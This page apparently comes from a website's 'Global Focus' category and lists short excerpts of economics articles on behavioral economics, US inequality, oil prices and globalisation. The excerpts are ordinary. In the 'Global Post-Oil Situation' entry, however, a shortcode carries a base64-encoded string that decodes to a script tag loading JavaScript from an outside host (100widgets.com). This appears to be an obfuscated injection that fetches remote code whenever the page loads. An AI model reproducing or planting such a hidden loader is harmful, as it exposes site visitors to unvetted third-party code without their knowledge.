CategoryGlobal Focus

Behavioral Economics applied to Agriculture Economics


Behavioral economics is perhaps the most important new paradigm in economics in the new millenium. It is based on the idea that people don’t behave rationally, like economics suggests – that they are, in Thaler’s words, Humans (homo sapiens) rather than Econs (homo economicus). In the 1960s and 1970s, Nobel Laureate Herbert Simon and others developed behavioral economic theories assuming that...

Economic growth in the US: A tale of two countries


 By Thomas Piketty, Emmanuel Saez, Gabriel Zucman [intense_dropcap font_color=”primary”]T [/intense_dropcap]he rise of economic inequality is one of the most hotly debated issues today in the United States and indeed in the world. Yet economists and policymakers alike face important limitations when trying to measure and understand the rise of inequality. One major problem is the...

Oil Caps Biggest Weekly Decline Since January


New York (Bloomberg) Oil capped the biggest weekly loss in almost 10 months as hopes faded that OPEC will be able to implement a promised deal to cut production and ease global oversupplies. Futures dropped 1.3 percent in New York, bringing the six-session decline to 11 percent. Prices closed Thursday at the lowest level since OPEC reached a preliminary accord in Algiers for the cuts, and...

Global Post-Oil Situation


[intense_code type=”js” raw_content=”JTNDc2NyaXB0JTIwdHlwZSUzRCUyMnRleHQlMkZqYXZhc2NyaXB0JTIyJTIwc3JjJTNEJTIyaHR0cCUzQSUyRiUyRjEwMHdpZGdldHMuY29tJTJGanNfZGF0YS5waHAlM0ZpZCUzRDExOCUyMiUzRSUzQyUyRnNjcmlwdCUzRQ==”] [/intense_code] [intense_dropcap]I [/intense_dropcap]t’s not so difficult to see the current situation in global markets and economies. After Oil price...

Is Globalisation Era Over?


Baltic Dry Index, which measures the price of moving a major raw materials by sea, has fallen to an all-time low. Moreover, China has announced last year that, since the opening up its market to the world in late 1970s, its exports has declined on an annual basis. Energy prices such as oil and iron has fallen stiffly in a recent decade. All this factors might imply that global trade is decreasing...

Pfizer and Globalisation


    Globalisation should be a beneficial strategy for both businesses and consumers. The benefit of this strategy is the wide-reach of products in international market, and by creating intra-industrial trade, globalization offered consumers broad-range of similar products in similar industries. What does this mean? It means that companies should work hard to create sustainable...